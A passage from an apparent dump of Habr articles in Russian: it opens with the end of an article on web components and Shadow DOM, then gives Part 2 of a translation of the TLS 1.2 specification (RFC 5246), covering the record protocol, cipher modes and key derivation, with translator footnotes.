Слоты также многообещающая технология, особенно если их использование стало бы возможным вне концепции Shadow DOM ([без хаков](https://stackoverflow.com/questions/48726904/is-there-a-way-workaround-to-have-the-slot-principle-in-hyperhtml-without-using)). Это дало бы широкие возможности для композиции компонентов.
Shadow DOM определенно будет полезен для ряда случаев, но обоснованность его повсеместного применения вызывает сомнения. Использование Shadow DOM сопряжено с некоторыми ограничениями и неудобствами. При этом для инкапсуляции CSS можно использовать более производительные технологии, а инкапсуляция DOM нужна далеко не всегда.
Хотя при применении веб-компонентов еще остается ряд открытых вопросов, в целом, технология смотрится перспективной, а ее использование уже сейчас вполне может себя оправдать на небольших проектах. Но в текущем состоянии использовать ее как замену фреймворков на большом проекте, над которым работает группа разработчиков, кажется преждевременным.
### Полезные ссылки
[webcomponents.org,](https://www.webcomponents.org/) [Polymer,](https://www.polymer-project.org/) [LitElement,](https://lit-element.polymer-project.org/) [lit-html,](https://lit-html.polymer-project.org/) [Vaadin Router,](https://vaadin.com/router) [Vaadin Components,](https://vaadin.com/components) [lite-redux,](https://www.npmjs.com/package/lite-redux) [lite-form,](https://www.npmjs.com/package/lite-form) [awesome-lit-html,](https://github.com/web-padawan/awesome-lit-html) [Polyfills,](https://github.com/webcomponents/polyfills/tree/master/packages/webcomponentsjs) [custom-elements-builtin polyfill](https://www.npmjs.com/package/@ungap/custom-elements-builtin) | https://habr.com/ru/post/498560/ | null | ru | null |
# Протокол безопасности транспортного уровня (TLS), версия 1.2 (RFC 5246) (Часть 2)
#### T. Dierks, E. Rescorla
#### Протокол безопасности транспортного уровня (TLS)
#### Версия 1.2
#### Запрос на комментарии 5246 (RFC 5246)
#### Август 2008
#### Часть 2
Данная статья является второй частью перевода протокола безопасности транспортного уровня (TLS) версии 1.2 ([RFC 5246](https://datatracker.ietf.org/doc/html/rfc5246)). Эта часть содержит описание протокола записи TLS.
**Другие части перевода**: [Часть 1](https://habr.com/ru/post/573268/), [Часть 3.1](https://habr.com/ru/post/593309/), [Часть 3.2](https://habr.com/ru/post/599059/).
**Примечание по терминологии**: в данном переводе используется термин «сложение по модулю 2», идентичный в русскоязычной литературе термину «операция исключающего «ИЛИ», оба из которых, в свою очередь, соответствуют англоязычным терминам «*exclusive-OR*» и «*XOR*».
### Содержание
* [6. Протокол записи TLS](#_section_6000)
* [6.1. Состояния соединения](#_section_6100)
* [6.2. Уровень записей](#_section_6200)
* [6.2.1. Фрагментация](#_section_6210)
* [6.2.2. Сжатие и распаковка записей](#_section_6220)
* [6.2.3. Защита записей](#_section_6230)
* [6.2.3.1. Нулевой шифр и стандартный потоковый шифр](#_section_6231)
* [6.2.3.2. Блочный шифр в режиме сцепления блоков (CBC-шифр)](#_section_6232)
* [6.2.3.3. Шифры AEAD (с дополнительно прикрепляемыми данными)](#_section_6233)
* [6.3. Вычисление ключа](#_section_6300)
### 6. Протокол записи TLS
Протокол записи TLS (англ. *TLS Record Protocol*) является многоуровневым протоколом (англ. *layered protocol*). На каждом уровне сообщения могут включать поля со значениями длины сообщения, его описанием и, собственно, содержимым сообщения. Протокол записи обрабатывает сообщения, которые затем отправляются им далее, путем фрагментации данных в оперируемые блоки, присоединения кода аутентификации сообщения (далее – MAC [[1]](#_ftn1)) и шифрования, кроме того, имеется дополнительная возможность сжатия сообщения. При приеме сообщений данные расшифровываются, проверяются, распаковываются (англ. *decompressed*), пересобираются (англ. *reassembled*), после чего отправляются клиентам более высоких уровней.
В данном документе описываются 4 протокола, использующие протокол записи: **протокол рукопожатия** (тж. согласования параметров) (англ. *handshake protocol*), **оповещений** (англ. *alert protocol*), **изменения параметров шифрования** (англ. *change cipher spec protocol*) и **протокол данных приложения** (англ. *application data protocol*). В целях расширяемости протокола TLS протоколом записи могут поддерживаться дополнительные типы содержимого записей (англ. *record content*). Новые цифровые коды, соответствующие новым типам содержимого записей, задаются IANA в регистре [TLS ContentType](https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-5) (тип содержимого TLS) раздела регистров «[Transport Layer Security (TLS) Parameters](https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml)» по принципу, указанному в Разделе 12 данного документа.
Реализуемые приложения не должны пересылать типы записей, не определенные в этом документе, за исключением случаев, при которых они согласовываются каким-либо расширением. Если приложение, реализующее протокол TLS, получает сообщение с неизвестным (англ. *unexpected*) типом записи, оно должно отправить обратно сообщение «`unexpected_message`» (неизвестное сообщение).
Каждый разрабатываемый протокол, планируемый к использованию поверх TLS, должен строиться с учетом всех потенциальных атак, с которым этот протокол может столкнуться. На практике это означает, что разработчик протокола должен знать какие параметры безопасности предоставляет протокол TLS, а какие – не предоставляет, и не упускать последнее из виду.
В частности, нужно обратить внимание, что тип и длина записи не защищены шифрованием. Если эта ситуация является чувствительной сама по себе, разработчики приложения могут предпринять некоторые шаги (увеличение размера поля, наложение шума) для минимизации утечки подобной информации.
#### 6.1. Состояния соединения
Состояние соединения TLS (англ. *TLS connection state*) – это рабочая среда протокола записи TLS. Состояние описывает алгоритм сжатия, алгоритм шифрования и алгоритм создания MAC. Вдобавок к этому, параметры этих алгоритмов известны: ключ MAC и ключи канального шифрования (англ. *bulk encryption keys*) для соединения в обоих направлениях - как для чтения (отправки), так и для записи (приема). Исходя из логики, имеется четыре наиболее заметных состояния соединения: **рабочие состояния** (англ. *current states*) чтения и записи, а также **состояния ожидания** (англ. *pending states*) чтения и записи. Все записи обрабатываются под рабочими состояниями чтения и записи. Параметры безопасности для состояний ожидания могут быть установлены протоколом рукопожатия, а сообщение`ChangeCipherSpec`[[2]](#_ftn2) может выборочно делать одно из двух состояний ожидания рабочим, в результате чего бывшее рабочим состояние выключается (англ. *disposed of*) и заменяется состоянием ожидания; после этого смененное на рабочее состояние ожидания заново инициализируется как пустое состояние (англ. *empty state*). Не допускается переводить в рабочее такое состояние, которое было инициализированно без параметров безопасности. Начальное рабочее состояние (англ. *initial current state*) всегда определяет то, что средой еще не было произведено ни одной из операций шифрования, сжатия или создания кода MAC.
**Параметры безопасности** для состояния чтения и записи соединения TLS задаются следующими значениями[[3]](#_ftn3):
`connection end`
Параметр отвечает за то, чем будет считаться конкретный узел в данном соединении – «клиентом» или «сервером».
`PRF algorithm`
Алгоритм псевдослучайной функции, используемый для генерации ключей из основного секрета (см. [Разделы 5](https://habr.com/ru/post/573268/#_section_500) и [6.3](#_section_6300)).
`bulk encryption algorithm`
Алгоритм канального шифрования[[4]](#_ftn4). Данный параметр определяет размер ключа алгоритма, тип шифрования – блочное, потоковое или AEAD, размер блока шифра (при использовании блочного шифрования), длины явного и неявного векторов инициализации[[5]](#_ftn5) (англ. *initialization vectors, IV*[[6]](#_ftn6)) (либо *nonce*-параметров)[[7]](#_ftn7).
`MAC algorithm`
Алгоритм, используемый для аутентификации сообщения. Данный параметр, помимо прочего, содержит размер кода MAC.
`compression algorithm`
Алгоритм сжатия данных. Параметр должнен включать всю информацию, требуемую алгоритму для сжатия (компрессии) данных.
`master secret`
Основной секрет (тж. мастер-секрет). Общее для двух соединяющихся узлов секретное число размером 48 байт.
`client random`
32-битное случайное значение, генерируемое клиентом.
`server random`
32-битное случайное значение, генерируемое сервером.
Указанные параметры определены в псевдоязыке представления как:
`enum { server, client } ConnectionEnd;
enum { tls_prf_sha256 } PRFAlgorithm;
enum { null, rc4, 3des, aes } BulkCipherAlgorithm;
enum { stream, block, aead } CipherType;
enum { null, hmac_md5, hmac_sha1, hmac_sha256,
hmac_sha384, hmac_sha512} MACAlgorithm;
enum { null(0), (255) } CompressionMethod;`
`/* В поля CompressionMethod, PRFAlgorithm, BulkCipherAlgorithm и MACAlgorithm могут быть добавлены другие алгоритмы */`
Таким образом, структура, содержащая параметры безопасности, выглядит как:
```
struct {
ConnectionEnd entity;
PRFAlgorithm prf_algorithm;
BulkCipherAlgorithm bulk_cipher_algorithm;
CipherType cipher_type;
uint8 enc_key_length;
uint8 block_length;
uint8 fixed_iv_length;
uint8 record_iv_length;
MACAlgorithm mac_algorithm;
uint8 mac_length;
uint8 mac_key_length;
CompressionMethod compression_algorithm;
opaque master_secret[48];
opaque client_random[32];
opaque server_random[32];
} SecurityParameters;
```
Уровень записи использует параметры безопасности для генерации следующих шести элементов (некоторые из них не являются обязательными для всех шифров (а именно:`client write IV, server write IV`), оставаясь, в таком случае, пустыми):
`client write MAC key /* секретный ключ для аутентификации данных, отправляемых клиентом*/
server write MAC key /* секретный ключ для аутентификации данных, отправляемых сервером*/
client write encryption key /* ключ шифрования данных, отправляемых клиентом */
server write encryption key /* ключ шифрования данных, отправляемых сервером */
client write IV /* вектор инициализации для данных, отправляемых клиентом */
server write IV /* вектор инициализации для данных, отправляемых сервером */`
Параметры записи клиента (`client write`) используются сервером при приеме и обработке записей (англ. *records*), отправленных клиентом, и наоборот. Алгоритм, используемый для генерации этих элементов из параметров безопасности, описан в [Разделе 6.3.](#_section_6300)
Если параметры безопасности были определены, а ключи – сгенерированы, то состояние соединения может быть преобразовано в рабочее состояние. Рабочие состояния ДОЛЖНЫ обновляться (англ. *be updated*) при обработке каждой записи. Каждое состояние соединения включает в себя **следующие элементы**:
`compression state`
Состояние алгоритма сжатия.
`cipher state`
Состояние шифрования - текущее состояние алгоритма шифрования. Состоит из назначенного для данного соединения ключа. При использовании потокового шифра в данном параметре будет содержаться любая необходимая алгоритму информация состояния для продолжения шифрования или дешифрования данных.
`MAC key`
Ключ аутентификации данных для данного соединения.
`sequence number`
Каждое состояние соединения содержит число *число порядка*, поддерживаемое отдельно для состояний чтения и записи. Число порядка ДОЛЖНО быть определено как 0 всякий раз, когда состояние соединения становится активным состоянием. Числа порядка имеют тип `uint64` и не могут превышать значения `2^64-1`. Числа порядка не обертываются (англ. *do not wrap*). Если реализации TLS понадобится обернуть такое число, то вместо этого необходимо произвести пересогласование параметров (англ. *to renegotiate*). Число порядка увеличивается после обработки каждой записи: в частности, первая запись, передаваемая в отдельном соединении, ДОЛЖНА использовать число, равное 0.
#### 6.2. Уровень записей
Протокол записи TLS получает неинтепретированные данные от протоколов верхнего уровня в непустых блоках произвольного размера.
#### 6.2.1. Фрагментация
Уровень записи фрагментирует блоки с информацией в записи типа `TLSPlaintext`, передающие данные порциями (англ. *chunks*) размерами в 2^14 байт (16 кБ) или менее. На уровне записей границы сообщения клиента никак не определены (то есть, множество сообщений клиента, имеющих одинаковое значение типа содержимого (`ContentType`) могут быть слиты в одну запись `TLSPlaintext`, и в то же время одно сообщение может быть разбито на несколько отдельных записей).
К записям типа`TLSPlaintext` присоединяется структура, обозначающая версию используемого протокола TLS, а также перечисление с возможными типами содержимого данного типа записи:
```
struct {
uint8 major;
uint8 minor;
} ProtocolVersion;
enum {
change_cipher_spec(20), alert(21), handshake(22),
application_data(23), (255)
} ContentType; /* перечисление со значениями типов содержимого*/
/*для которого отводится 1 байт памяти*/
struct {
ContentType type;/* принимает значения 20, 21, 22, 23 в зависимости от типа содержимого*/
ProtocolVersion version;
uint16 length;
opaque fragment[TLSPlaintext.length];
} TLSPlaintext;
```
Каждая запись типа `TLSPlaintext` содержит следующие параметры:
`type`
Протокол TLS верхнего уровня, используемый для обработки помещаемого внутрь записи типа`TLSPlaintext` фрагмента данных.
`version`
Версия применяемого протокола. Данный документ описывает TLS версии 1.2, который использует значение данного параметра, равное `{3,3}`[[8]](#_ftn8). Значение версии, равное 3,3 – историческое, поскольку для обозначения TLS 1.0 использовалось значение 3.1 (см. Прил. А.1). Обратите внимание, что клиент, поддерживающий несколько версий TLS, может не знать какую ему следует использовать версию до момента, пока не получит сообщение `ServerHello`[[25]](#_ftn25). В Прил. Е рассматриваются вопросы того, какой номер версии следует применять при отправке сообщения `ClientHello`.
`length`
Длина в байтах элемента `TLSPlaintext.fragment`[[9]](#_ftn9). Значение длины не должно превышать 2^14 байт (16 кБ).
`fragment`
Данные приложения. Такие данные прозрачны и рассматриваются протоколом верхнего уровня, указанным в поле «`type`», в качестве независимого блока, требующего обработки.
Реализации протокола НЕ ДОЛЖНЫ посылать фрагменты нулевой длины с типом содержимого `ChangeCipherSpec`, `Alert` или `Handshake` [[26]](#_ftn26). Фрагменты нулевой длины данных приложения (англ. *application data*) могут посылаться, поскольку они являются потенциально полезными в качестве контрмеры в отношении анализа трафика.
**Примечание**. На уровне записи данные различных типов содержимого слоя записи TLS могут перемежаться между собой (англ. *be interleaved*). Данные приложения, обычно, имеют меньший приоритет для передачи, чем другие типы содержимого. Однако, записи должны быть отправлены в сеть в том порядке, в котором они были обработаны уровнем записи. Реципиенты сообщения ДОЛЖНЫ, в свою очередь, получить и обработать перемежающийся трафик уровня приложения во время рукопожатий, следующих за первым рукопожатием соединения.
#### 6.2.2. Сжатие и распаковка записей
Все записи сжимаются с использованием алгоритма, определенном в рабочем состоянии сессии. В сессии всегда явно указан активный алгоритм сжатия, однако в ее начале в параметрах безопасности алгоритм сжатия указан как `CompressionMethod.null`. Алгоритм сжатия переводит структуру `TLSPlaintext` в структуру `TLSCompressed`. Функции сжатия инициализируются вместе с установленной по умолчанию информацией соединения всякий раз, когда состояние соединения становится активным (рабочим). Алгоритмы сжатия для протокола TLS описаны в [RFC3749][[10]](#_ftn10) .
Сжатие должно происходить без потерь и не должно превышать длину содержимого (т.е. структуры типа `TLSPlaintext`) более чем на 1024 байта. Если функция распаковки данных обнаружит элемент `TLSCompressed.fragment`, который при распаковке будет иметь длину более `2^14` байт, она ДОЛЖНА выдать сообщение о критической ошибке распаковки (англ. *fatal decompression failure error*).
Структура `TLSCompressed` выглядит как:
```
struct {
ContentType type; /* такой же тип, как и у TLSPlaintext.type */
ProtocolVersion version; /* такая же версия, как и у */
/*TLSPlaintext.version */
uint16 length;
opaque fragment[TLSCompressed.length];
} TLSCompressed;
```
Параметры структуры `TLSCompressed`:
`length`
Длина (в байтах) элемента `TLSCompressed.fragment`. Длина не должна превышать `2^14 + 1024` байт.
`fragment`
Сжатая форма элемента `TLSPlaintext.fragment`.
**Примечание**: Операция `CompressionMethod.null` является операцией тождества (англ. *identity operation*). Это означает, что при ее выполнении содержимое полей не меняется.
**Примечание для реализаций**: Именно на функции распаковки возлагается задача удостовериться в том, что распаковываемые сообщения не вызовут внутреннего переполнения буфера .
#### 6.2.3. Защита записей
Функции шифрования и создания MAC переводят структуру типа `TLSCompressed` в структуру типа `TLSCiphertext`. Функции расшифровки производят обратную операцию. Mac-код записи, кроме всего прочего, содержит число порядка, что позволяет обнаружить пропавшие, излишние или повторяющиеся записи.
```
struct {
ContentType type;
ProtocolVersion version;
uint16 length;
select (SecurityParameters.cipher_type) {
case stream: GenericStreamCipher;
сase block: GenericBlockCipher;
case aead: GenericAEADCipher;
} fragment;
} TLSCiphertext;
```
Как видно, в приведенной выше структуре типа `TLSCiphertext` имеется механизм выбора, включающий три варианта шифрования: потоковое (`GenericStreamCipher`), блочное (`GenericBlockCipher`) либо AEAD-шифрование (с дополнительными данными)(`GenericAEADCipher`).
`type`
Поле с указанием типа. Идентично полю `TLSCompressed.type`.
`version`
Поле с указанием версии. Идентично полю `TLSCompressed.version`.
`length`
Длина (в байтах) элемента `TLSCiphertext.fragment`. Длина не должна превышать `2^14 + 2048` байт.
`fragment`
Зашифрованная форма `TLSCompressed.fragment` с присоединенным MAC`.`
#### 6.2.3.1. Нулевой шифр и стандартный потоковый шифр
Потоковые шифры (включая `BulkCipherAlgorithm.null` см. Прил. А.6) превращают структуры `TLSCompressed.fragment` в поток структур `TLSCiphertext.fragment` и наоборот:
```
stream-ciphered struct {
opaque content[TLSCompressed.length];
opaque MAC[SecurityParameters.mac_length];
} GenericStreamCipher;
```
MAC генерируется как:
```
MAC(MAC_write_key, seq_num +
TLSCompressed.type +
TLSCompressed.version +
TLSCompressed.length +
TLSCompressed.fragment);
```
где "+" обозначает конкатенацию.
`seq_num`
Число порядка для данной записи.
`MAC`
Алгоритм вычисления MAC, указанный в поле `SecurityParameters.mac_algorithm`.
Обратите внимание, что MAC вычисляется до шифрования. Потоковый шифр шифрует целый блок данных, включая и MAC. Потоковые шифры не использующие вектор синхронизации (например, RC4[[11]](#_ftn11)), используют состояние шифрования[[12]](#_ftn12), имеющееся в конце одной записи, попросту перенося его на следующий пакет данных. При использовании криптонабора `TLS_NULL_WITH_NULL_NULL` (нулевого шифра) шифрование является операцией тождества (т. е. данные не шифруются, размер MAC равен 0, из чего следует, что MAC не используется). При использовании нулевого или потокового шифра поле `TLSCiphertext.length,` выражается как:
`TLSCiphertext.length = TLSCompressed.length + SecurityParameters.mac_length`
где «+» означает операцию сложения [[27]](#_ftn27).
#### 6.2.3.2. Блочный шифр в режиме сцепления блоков (CBC-шифр)
[[13]](#_ftn13)Блочные шифры (такие как 3DES или AES), используя функции шифрования сообщения и создания MAC, превращают структуры `TLSCompressed.fragment` в блоки структур `TLSCiphertext.fragment` и наоборот:
```
struct {
opaque IV[SecurityParameters.record_iv_length];
block-ciphered struct {
opaque content[TLSCompressed.length];
opaque MAC[SecurityParameters.mac_length];
uint8 padding[GenericBlockCipher.padding_length];
uint8 padding_length;
};
} GenericBlockCipher;
```
При этом MAC вычисляется так же, как указано в [п. 6.2.3.1](#_section_6231).
Структура `GenericBlockCipher` имеет следующие параметры:
`IV`
Вектор инициализации (англ. *Initialization Vector*) (далее – IV) рекомендуется выбирать случайным образом, в то же время он должен обладать свойством непредсказуемости. Обратите внимание, что в версиях TLS, вышедших до версии 1.1, не было поля `IV`, и в качестве `IV` использовался последний блок шифротекста предыдущей записи ("CBC-остаток", англ. *"CBC residue"*). Вектор `IV` был введен для предотвращения атаки, описанной в [CBCATT][[14]](#_ftn14). Длина `IV` для блочного шифра указывается в поле `SecurityParameters.record_iv_length`, равном значению поля `SecurityParameters.block_size`[[15]](#_ftn15).
`padding`
Дополнительное заполнение (тж. набивка) – используется для того, чтобы длина незашифрованного текста (англ. *plaintext*) стала целым числом, кратным длине блока блочного шифра. Набивка МОЖЕТ иметь длину от 0 до 255 байт включительно, не имея обязательных требований к её значению. Единственное требование – значение `TLSCiphertext.length` в итоге должно быть целым числом кратным длине блока. Значение длины, больше необходимого, может оказаться желательным для противодействия атакам, основанным на анализе длины обмениваемых сообщений. Каждое значение типа `uint8`, содержащееся в векторе набивки, должно содержать значение длины набивки. Реципиент должен проверять данные набивки и отправлять сообщение "`bad_record_mac"` при возникновении каких-либо ошибок при обработке ее данных.
`padding_length`
Значение длины набивки – ДОЛЖНО быть таким, чтобы общий размер структуры `GenericBlockCipher` был целым числом, кратным длине блока шифра. Значение поля может варьироваться от 0 до 255 включительно. Значение этого поля указывает длину поля `padding`за исключением длины самого поля `padding_length`.
Длина зашифрованных данных (`TLSCiphertext.length`), таким образом, превышает общую сумму полей `SecurityParameters.block_length`, `TLSCompressed.length`, `SecurityParameters.mac_length` и `padding_length`.
**Пример**: при размере блока, равном 8 байт, длина содержимого (`TLSCompressed.length`) равна 61 байт, длина MAC – 20 байт. Таким образом, длина незашифрованного сообщения до операции набивки равна 82 байта[[16]](#_ftn16) (не включая `IV`). Таким образом, остаток от деления значения длины набивки на 8 должен быть равен 6 для того, чтобы общая длина сообщения была четным числом, кратным 8 (длине блока). Длина набивки, в данном случае, будет равна 6, 14, 22 и тд., вплоть до 254 байт. Если длина набивки будет минимальным необходимым значением (6 байт), то каждый ее байт должен содержать в себе значение 6. Таким образом, последние 8 октетов структуры `GenericBlockCipher` до шифрования блока должны иметь формат`xx 06 06 06 06 06 06 06` – где xx, последний октет MAC [[28]](#_ftn28).
**Обратите внимание**: при блочном шифровании в режиме сцепления блоков (*Cipher Block Chaining*), критически важно, чтобы весь незашифрованный текст записи был известен до того как был передан какой-либо зашифрованный текст. В противном случае возможно осуществить атаку, описанную в [CBCATT] [[29]](#_ftn29).
**Заметки для реализации**: Canvel и другие в [CBCTIME][[17]](#_ftn17) продемонстрировали атаку тайминга при обработке CBC-набивки, где в качестве уязвимости используется период времени, в который происходит расчет MAC. Для защиты от этой атаки все реализации должны обеспечивать одинаковое время обработки сообщения вне зависимости от того содержит набивка ошибки или нет. В общем случае, наилучшим решением для этого будет расчет MAC в любом случае – вне зависимости от того, корректна набивка или нет, и отбрасывать пакет только после этого расчета. Например, если набивка содержит какие-либо ошибки, конкретное приложение должно присваивать набивке нулевую длину, после чего вычислять MAC. При этом временной канал будет достаточно малым, поскольку обработка MAC, в некоторой степени, зависит от размера фрагмента данных, но и, как думается, не слишком большим для нормального функционирования, так как размер временного интервала будет слишком малым для расчета блока MAC достаточного размера.
#### 6.2.3.3. Шифры AEAD (с дополнительно прикрепляемыми данными)
При работе шифров [AEAD][[18]](#_ftn18) (таких как [CCM][[19]](#_ftn19) или [GCM][[20]](#_ftn20)) функция AEAD превращает структуры `TLSCompressed.fragment` в AEAD-структуры `TLSCiphertext.fragment`, и наоборот.
Входными данными AEAD-шифров являются: один ключ (`write-key`), однократно используемый параметр `nonce`, незашифрованное сообщение (*plaintext*), а также «дополнительные данные», которые включаются в элемент проверки аутентифкации, как это описано в [разделе 2.1](https://datatracker.ietf.org/doc/html/rfc5116#section-2.1) [AEAD]. Ключ является либо элементом `client_write_key`, либо `server_write_key`. При этом MAC-ключ не используется.
Криптонабор на основе AEAD-шифрования ДОЛЖЕН указывать как рассчитывается параметр `nonce`, используемый в данном алгоритме, и какова длина параметра `GenericAEADCipher.nonce_explicit`, являющегося частью структуры `GenericAEADCipher`. Во многих случаях приемлемо использовать технику вычисления частично скрытого `nonce` (англ. *partially implicit nonce*), описанную в [п. 3.2.1](https://datatracker.ietf.org/doc/html/rfc5116#section-3.2.1) [AEAD], в то время как значение `record_iv_length` будет длиной открытой части этого параметра. В этом случае РЕКОМЕНДУЕТСЯ, чтобы скрытая часть была производной от блока ключа (`key_block`) являясь `client_write_iv` и `server_write_iv` (как описано в Разделе 6.3), а открытая часть – была включена в `GenericAEAEDCipher.nonce_explicit`.
Незашифрованное сообщение - `TLSCompressed.fragment`[[31]](#_ftn31).
Дополнительные данные аутентификации, которые мы обозначаем как `additional_data` определяются следующим образом:
`additional_data = seq_num` [[30]](#_ftn30) `+ TLSCompressed.type + +TLSCompressed.version + TLSCompressed.length;`
где "+" обозначает конкатенацию.
Выходные данные AEAD-шифра (`aead_output`) состоят из шифротекста, производимого операцией AEAD-шифрования. Значение длины этих данных, в общем случае, будет больше значения `TLSCompressed.length`, но величина этого превышения будет зависеть от типа AEAD-шифра. Поскольку операции шифрования может, также, подвергаться и набивка, общий объем превышения служебных данных, содержащихся в выходном сообщении шифра, может зависеть от значений `TLSCompressed.length`. При этом выходные данные любого AEAD-шифра НЕ ДОЛЖНЫ превышать исходные данные более чем на 1024 байт. Символически это может быть записано как:
`AEADEncrypted = AEAD-Encrypt(write_key, nonce, plaintext, additional_data)`
Для того, чтобы расшифровать и проверить сообщения, в качестве входных данных шифр получает ключ, параметр `nonce`, дополнительные данные ("additional\_data") и значение `AEADEncrypted`. Выходными данными при этом будут либо исходное незашифрованное сообщение, либо ошибка, указывающая на невозможность расшифровки. При этом не происходит отдельной проверки целостности (англ. *integrity check*):
`TLSCompressed.fragment = AEAD-Decrypt(write_key, nonce, AEADEncrypte, additional_data)`
При невозможности расшифровки должно быть сгенерировано сообщение критической ошибки «`bad_record_mac`».
#### 6.3. Вычисление ключа
Протоколу записи требуется алгоритм генерации ключей, которые необходимы ему для функционирования в рабочем состоянии соединения (см. Прил. А. 6). Сами ключи генерируются из параметров безопасности, предоставляемых протоколом рукопожатия[[21]](#_ftn21).
Основной секрет (англ. *master secret*) преобразуется в последовательность защищенных байтов, которая затем разделяется на:
* `client write MAC key`, `server write MAC key` (ключи аутентификации данных, отправляемых клиентом и сервером, соответственно);
* `client write encryption key`, `server write encryption key` (ключи шифрования данных, отправляемых клиентом и сервером, соответственно).
Каждый из ключей генерируется из байтовой последовательности в указанном порядке. Неиспользуемые значения отбрасываются. Некоторые шифры AEAD могут дополнительно требовать `client write IV` и `server write IV` (векторы инициализации данных, отправляемых клиентом и сервером, соответственно) (см. [п. 6.2.3.3](#_section_6233)).
После генерации ключей и ключей MAC главный секрет используется как источник энтропии[[22]](#_ftn22).
Вычисление ключевого материала[[23]](#_ftn23) (англ. *key material*) происходит с использованием следующей псевдослучайной функции (PRF) до того момента, пока не будет вычислен достаточный объем данных:
```
key_block = PRF(SecurityParameters.master_secret,
"key expansion",
SecurityParameters.server_random +
SecurityParameters.client_random);
```
[[24]](#_ftn24)После чего `key_block` делится на части в следующем порядке:
```
client_write_MAC_key[SecurityParameters.mac_key_length]
server_write_MAC_key[SecurityParameters.mac_key_length]
client_write_key[SecurityParameters.enc_key_length]
server_write_key[SecurityParameters.enc_key_length]
client_write_IV[SecurityParameters.fixed_iv_length]
server_write_IV[SecurityParameters.fixed_iv_length]
```
На данный момент `client_write_IV` и `server_write_IV` вычисляются только при использовании методики скрытого `nonce`, описанной в [п. 3.2.1](https://datatracker.ietf.org/doc/html/rfc5116#section-3.2.1) [AEAD] (см. тж. [п. 6.2.3.3](#_section_6233)).
**Примечание для реализации**: На момент написания стандарта криптонабором, требующим наибольшего размера для значения `key_block`, являлся набор `AES_256_CBC_SHA256`. Он требует 2 x 32 байт для ключей и 2 x 32 байт для ключей MAC, что в общей сложности составляет 128 байт.
---
[[1]](#_ftnref1) MAC – *Message Authentification Code*. В русскоязычной литературе также может применяться термин «имитовставка» (Прим. перев.).
[[2]](#_ftnref2) Сообщение протокола изменения параметров шифрования. Сам протокол описывается в разделе 7.1 данного Стандарта и является одним из трех подпротоколов процесса рукопожатия (Прим. перев.).
[[3]](#_ftnref3) Параметры безопасности TLS предоставляются протоколом рукопожатия (англ. *Handshake protocol*) (см. тж. Прил. А.6 стандарта) (Прим. перев.).
[[4]](#_ftnref4) Канальное шифрование (англ. *bulk cipher*) определено в Приложении B данного стандарта как: алгоритм симметричного шифрования, используемый для шифрования больших объемов данных.
[[5]](#_ftnref4) О неявном и явном задании векторов инициализации см. [п. 6.2.3.3.](#_section_6233) (Прим. перев.).
[[6]](#_ftnref4) Вектор инициализации определен в Приложении B данного стандарта как: элемент, который в CBC-режиме блочного шифрования складывается по модулю 2 с первым блоком незашифрованного текста. О CBC-режиме см. [прим. 13](#_ftn13) (Прим. перев.).
[[7]](#_ftnref4) Однократно используемый параметр, одноразовый параметр (англ. *nonce*) – аббревиатура от англ. «***n****umber that can only be used* ***once***». Случайное или псевдослучайное число, однократно выбранное системой при создании параметров сетевого соединения (Прим. перев.).
[[8]](#_ftnref5) Таким образом, параметр `version` задает значения для полей типизированной константы `ProtocolVersion`. Значение полей этой константы: `major = 3`, значение поля `minor = 3`. (см. тж. [п. 4. 8](https://habr.com/ru/post/573268/#_section_480) данного стандарта) (Прим. перев.).
[[9]](#_ftnref6) Фрагмент незашифрованного сообщения (Прим. перев.).
[[10]](#_ftnref7) Hollenbeck, S., "**Transport Layer Security Protocol Compression Methods**", [RFC 3749](https://datatracker.ietf.org/doc/html/rfc3749), May 2004.
[[11]](#_ftnref8) В феврале 2015 года вышел документ [RFC 7465](https://datatracker.ietf.org/doc/html/rfc7465), запрещающий использование шифра RC4 в криптонаборах протоколов TLS всех версий (Прим. перев.).
[[12]](#_ftnref8) Определение состояния шифрования приведено в [п. 6.1.](#_section_6100) Для потокового шифра его состояние шифрования задается параметрами генератора псевдослучайных чисел (ГПСЧ), выдающего гамму (тж. ключевой поток данных, *keystream*). Гамма складывается по модулю 2 с текстом сообщения (англ. *XORed*), что дает шифротекст. В этом случае состояние шифрования меняется функцией состояния потокового шифра, задающей новые параметры для ГПСЧ. (Прим. перев.).
[[13]](#_ftnref9) *CBC*, *cipher block chaining* в приложении B данного стандарта определен как: режим, в котором каждый блок незашифрованного текста складывается по модулю 2 (англ. *exclusive-Ored*) с предыдущим зашифрованным блоком (либо с вектором инициализации, если этот блок идет первым в последовательности). Для расшифровки каждый блок шифротекста сначала расшифровывается, затем складывается по модулю 2 с предыдущим блоком шифротекста (либо с вектором инициализации).
[[14]](#_ftnref10) Moeller, B., "**Security of CBC Ciphersuites in SSL/TLS: Problems and Countermeasures**", <http://www.openssl.org/~bodo/tls-cbc.txt>.
[[15]](#_ftnref10) Раздел ошибок стандарта содержит указание на неподтвержденную ошибку ([ID 6244](https://www.rfc-editor.org/errata/eid6244)) в которой говорится, что в блоке `SecurityParameters` есть параметр `block_length`, но нет параметра `block_size` (см. [Разд. 6.1.](#_section_6100)) (Прим. перев.).
[[16]](#_ftnref11) Еще один байт данных добавляется для поля `padding_length` (Прим. перев.).
[[17]](#_ftnref12) Canvel, B., Hiltgen, A., Vaudenay, S., and M. Vuagnoux, "**Password Interception in a SSL/TLS Channel**", Advances in Cryptology -- CRYPTO 2003, LNCS vol. 2729, 2003.
[[18]](#_ftnref13) McGrew, D., "**An Interface and Algorithms for Authenticated Encryption**", [RFC 5116](https://datatracker.ietf.org/doc/html/rfc5116), January 2008.
[[19]](#_ftnref13) "NIST Special Publication 800-38C: **The CCM Mode for Authentication and Confidentiality**", <https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38c.pdf>
[[20]](#_ftnref13) Dworkin, M., NIST Special Publication 800-38D, "**Recommendation for Block Cipher Modes of Operation: Galois/Counter Mode (GCM) and GMAC**", November 2007.
[[21]](#_ftnref14) Сами параметры безопасности перечислены в Разд. 6.1 (Прим. перев.).
[[22]](#_ftnref15) Энтропия – неопределенность в системе. В данном случае под источником энтропии подразумевается достаточно неопределенное для предсказания значение, которое можно использовать, например, как начальное число (затравка) в генераторе псевдослучайных чисел и т. п. (Прим. перев.).
[[23]](#_ftnref16) Прил. C данного стандарта определяет ключевой материал как число байт значения `key_block`, необходимое для генерации ключей записи (`write key`). В данном определении ключевой материал не включает в себя векторы инициализации (`IV`). Как видно, здесь термин «ключевой материал» включает в себя и векторы инициализации. (Прим. перев.).
